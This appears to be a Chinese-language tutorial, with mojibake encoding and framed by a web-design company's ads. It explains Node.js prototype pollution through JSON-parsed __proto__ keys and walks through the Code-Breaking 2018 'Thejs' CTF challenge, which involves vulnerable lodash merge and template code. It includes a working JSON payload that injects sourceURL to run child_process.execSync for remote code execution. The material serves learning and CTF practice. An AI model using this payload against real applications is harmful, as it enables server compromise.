如何解析Node.js原型鏈污染的利用,相信很多沒有經(jīng)驗(yàn)的人對(duì)此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個(gè)問題。
茄子河網(wǎng)站制作公司哪家好,找創(chuàng)新互聯(lián)公司!從網(wǎng)頁設(shè)計(jì)、網(wǎng)站建設(shè)、微信開發(fā)、APP開發(fā)、成都響應(yīng)式網(wǎng)站建設(shè)公司等網(wǎng)站項(xiàng)目制作,到程序開發(fā),運(yùn)營維護(hù)。創(chuàng)新互聯(lián)公司成立與2013年到現(xiàn)在10年的時(shí)間,我們擁有了豐富的建站經(jīng)驗(yàn)和運(yùn)維經(jīng)驗(yàn),來保證我們的工作的順利進(jìn)行。專注于網(wǎng)站建設(shè)就選創(chuàng)新互聯(lián)公司。
我將介紹在什么情況下原型鏈會(huì)被污染,以及通過ctf題來展示實(shí)際場景中如何去利用原型鏈污染。
修改一個(gè)對(duì)象的原型中的屬性,影響到新實(shí)例化出來的對(duì)象,使其帶上了我們給對(duì)象原型添加的屬性,這就是原型鏈污染,那么在實(shí)際應(yīng)用中哪些情況會(huì)存在原型鏈被污染的可能呢?
之前說過在JavaScript中對(duì)象就是鍵值對(duì)的集,并且我們?cè)囼?yàn)過這樣一段代碼:
var obj = { "name": "ErDogQAQ", "team": "ATL" } console.log(obj.name); console.log(obj.team); console.log(obj);
發(fā)現(xiàn)了對(duì)象中存在一個(gè)名為__proto__
的鍵,而他就指向他構(gòu)造函數(shù)的原型,我們后面也通過A.__proto__.a = 2;
這樣修改這個(gè)鍵的值的方式造成了原型鏈污染,呢么我們也就有思路了,只要找到那些我們能夠控制數(shù)組(也就是對(duì)象)的鍵名的操作,我們就可以通過修改鍵名為__proto__
并控制它的值的方式來造成原型鏈污染。
在實(shí)際中能夠進(jìn)行這種參數(shù)的函數(shù)一般有:
對(duì)象合并(merge);
對(duì)象克?。╟lone)(本質(zhì)還是將一個(gè)對(duì)象合并到空對(duì)象中)
我們以合并為例,先搞一個(gè)merge函數(shù):
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
在合并的過程中存在賦值的操作:target[key] = source[key]
那么我們將key改為__proto__
是不是就可以原型鏈污染了呢?我們用代碼來實(shí)驗(yàn)一下:
let o1 = {} let o2 = {a: 1, "__proto__": {b: 2}} merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b) console.log(o2)
可以看到,合并確實(shí)成功了,o1本來是空對(duì)象,現(xiàn)在已經(jīng)有了屬性a和b,但是原型鏈并沒有被污染,新構(gòu)造的對(duì)象o3并沒有帶上我們預(yù)想的屬性b。
我們來分析一下原因,隨后查看對(duì)象o2發(fā)現(xiàn),在我們創(chuàng)建o2的時(shí)候,__proto__
已將代表了o2的原型,此時(shí)去遍歷o2的所有鍵名拿到的值是[a,b],而__proto__
并沒有作為鍵名被賦值,所以我們并沒有修改Object的原型。
那么我們?nèi)绾尾拍茏?code>__protp__被認(rèn)為是一個(gè)鍵名呢?答案是利用JSON解析。
我們修改一下代碼:
let o1 = {} let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b) console.log(o2)
可以看到這次新建的o3對(duì)象已經(jīng)帶上了b屬性,說明Object已經(jīng)被污染,同樣我們看o2對(duì)象時(shí)也可以看到,__proto__
也被認(rèn)為是一個(gè)鍵名了。
這是因?yàn)?,JSON解析的情況下,__proto__
會(huì)被認(rèn)為是一個(gè)真正的“鍵名”,而不代表“原型”,所以在遍歷o2的時(shí)候會(huì)存在這個(gè)鍵。
merge操作是最常見可能控制鍵名的操作,也最能被原型鏈攻擊,很多常見的庫都存在這個(gè)問題。
下面我們就開始結(jié)合ctf中的題目進(jìn)行實(shí)際分析。
通常在ctf中原型鏈污染的題目都會(huì)直接給出源碼,并且源碼通常都比較長,直接去看并不能很好的理解代碼,所以需要本地搭建一個(gè)環(huán)境來方便我們本地嘗試以及動(dòng)態(tài)調(diào)試。
這里以Code-Breaking 2018的Thejs這一題為例。
這個(gè)就不多解釋了直接去官網(wǎng)下載并安裝就可以了。
安裝完后直接在cmd下輸入node命令就可以像python一樣進(jìn)入命令交互模式了。
https://github.com/phith0n/code-breaking/tree/master/2018/thejs/web
在cmd中進(jìn)入源碼所在的目錄,然后直接執(zhí)行npm install
命令就可以自動(dòng)安裝所需的依賴包了。
安裝完后可以看到他提示我們發(fā)現(xiàn)了4個(gè)漏洞,可以運(yùn)行npm audit fix
進(jìn)行修復(fù),或運(yùn)行npm audit
獲取詳細(xì)信息。
這里我們就運(yùn)行npm audit
看一下詳細(xì)信息:
可以看到它告訴我們?cè)?code>lodash這個(gè)包中有4個(gè)原型污染漏洞,這正是我們需要利用的地方所以一會(huì)我們就著重看與lodash
相關(guān)的代碼就可以了。(注意這里版本是4.17.4,在新版本中漏洞已經(jīng)被修復(fù))
這里我使用VS Code 進(jìn)行調(diào)試,打開VS Code后點(diǎn)擊打開文件夾,打開源碼所在目錄,打開server.js然后點(diǎn)擊左邊的運(yùn)行/調(diào)試按鈕,點(diǎn)擊創(chuàng)建 launch.json 文件,選擇環(huán)境為node.js
然后就會(huì)自動(dòng)在目錄下生成一個(gè).vscode文件夾里面有一個(gè)launch.json文件,檢查program
是否為server.js
,沒有問題直接點(diǎn)擊啟動(dòng)程序就能夠正常啟動(dòng)或者斷點(diǎn)調(diào)試了。
我們先看一下題目源碼:
const fs = require('fs') const express = require('express') const bodyParser = require('body-parser') const lodash = require('lodash') const session = require('express-session') const randomize = require('randomatic') const app = express() app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) app.use('/static', express.static('static')) app.use(session({ name: 'thejs.session', secret: randomize('aA0', 16), resave: false, saveUninitialized: false })) app.engine('ejs', function (filePath, options, callback) { // define the template engine fs.readFile(filePath, (err, content) => { if (err) return callback(new Error(err)) let compiled = lodash.template(content) let rendered = compiled({...options}) return callback(null, rendered) }) }) app.set('views', './views') app.set('view engine', 'ejs') app.all('/', (req, res) => { let data = req.session.data || {language: [], category: []} if (req.method == 'POST') { data = lodash.merge(data, req.body) req.session.data = data } res.render('index', { language: data.language, category: data.category }) }) app.listen(3000, () => console.log(`Example app listening on port 3000!`))
剛才已經(jīng)知道了lodash包中有反序列化漏洞,所以我們著重看與lodash相關(guān)的代碼和我們上傳數(shù)據(jù)的地方就可以了。
...... const lodash = require('lodash') ...... app.engine('ejs', function (filePath, options, callback) { // define the template engine fs.readFile(filePath, (err, content) => { if (err) return callback(new Error(err)) let compiled = lodash.template(content) let rendered = compiled({...options}) return callback(null, rendered) }) }) ...... app.all('/', (req, res) => { let data = req.session.data || {language: [], category: []} if (req.method == 'POST') { data = lodash.merge(data, req.body) req.session.data = data } res.render('index', { language: data.language, category: data.category }) })
我們可以看到與lodash相關(guān)的代碼有兩句:
let compiled = lodash.template(content) data = lodash.merge(data, req.body)
查詢官方文檔后知道
lodash.template
的作用:
簡單理解就是一個(gè)簡單的模板引擎,會(huì)將content內(nèi)容放進(jìn)模板渲染。
lodash.merge
的作用:
這個(gè)不用多解釋,就是我們?nèi)账家瓜氲膶?duì)象合并函數(shù)了,能夠污染原型鏈的十有八九就是這里了。
那么我們就來試試是否真的能夠污染原型鏈:
我們?cè)诖a中下好斷點(diǎn),然后提交參數(shù)。
● if (req.method == 'POST') { //在這里下斷點(diǎn) data = lodash.merge(data, req.body) req.session.data = data }
這里還需要注意,直接提交是不能造成原型鏈污染的,因?yàn)槲覀冎耙苍囘^了,只有在JSON解析的情況下__proto__
才會(huì)被認(rèn)為是一個(gè)鍵名,才能夠造成原型鏈污染。那么我們?nèi)绾尾拍茏屛覀儌魅氲膮?shù)按照J(rèn)SON解析呢?
這里我們?cè)诖a中看到const app = express()
題目使用的是express
框架,而express
框架支持根據(jù)Content-Type
來解析請(qǐng)求Body,所以我們只需要將Content-Type
改為application/json
即可。
我們提交一個(gè)參數(shù):{"__proto__":{"A":"ATL"}}
看看到底會(huì)不會(huì)造成原型鏈污染:
提交后我們將代碼步過到merge函數(shù)處理之后:
可以看到經(jīng)過merge函數(shù)處理data的原型也就是Object中果然帶上了A屬性,證明了此處存在原型鏈污染漏洞。
那么我們現(xiàn)在找到了能夠污染原型鏈的地方,接下來就要想想如何利用了,我們又想起了template
函數(shù)的官方文檔中寫了可以使用sourceURLs
進(jìn)行調(diào)試,那我們就跟進(jìn)template
函數(shù)看看:
// Use a sourceURL for easier debugging. var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : ''; ...... var result = attempt(function() { return Function(importsKeys, sourceURL + 'return ' + source) .apply(undefined, importsValues); });
可以看到先是判斷options
中是否有屬性sourceURL
,如果有就進(jìn)行拼接,沒有則為空,然后將這個(gè)值拼接進(jìn)new Function
的第二個(gè)參數(shù)。
那么我們現(xiàn)在就有思路了,我們可以利用原型鏈污染,給Object中插入一個(gè)sourceURL
屬性,當(dāng)執(zhí)行到template
中時(shí),判斷options
中原本是沒有sourceURL
的,但是因?yàn)镴avaScript的查找機(jī)制會(huì)一直向上查找,查到Object中時(shí)找到了sourceURL
,然后就會(huì)拼接進(jìn)new Function
造成任意代碼執(zhí)行。
有了攻擊思路,那么我們就來構(gòu)造payload測試:
{"__proto__":{"sourceURL": "\u000areturn e => { for (var a in {}) {delete Object.prototype[a]; } return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a// "}}
提交后我們還是回來看調(diào)試信息:
可以看到經(jīng)過merge函數(shù)處理,Object中已經(jīng)帶上了sourceURL
屬性,我們到template
函數(shù)時(shí)步入在看看能否獲取到sourceURL
屬性:
在這里步入:
可以看到這里sourceURL
有值說明這里成功獲取到了sourceURL
屬性,那么我們最后看一下執(zhí)行結(jié)果:
可以看到,成功執(zhí)行了命令。到此我們就進(jìn)行了一次完整的原型鏈污染利用。
看完上述內(nèi)容,你們掌握如何解析Node.js原型鏈污染的利用的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!
本文名稱:如何解析Node.js原型鏈污染的利用
文章出自:http://aaarwkj.com/article38/igoopp.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供微信公眾號(hào)、做網(wǎng)站、網(wǎng)站收錄、企業(yè)建站、搜索引擎優(yōu)化、自適應(yīng)網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)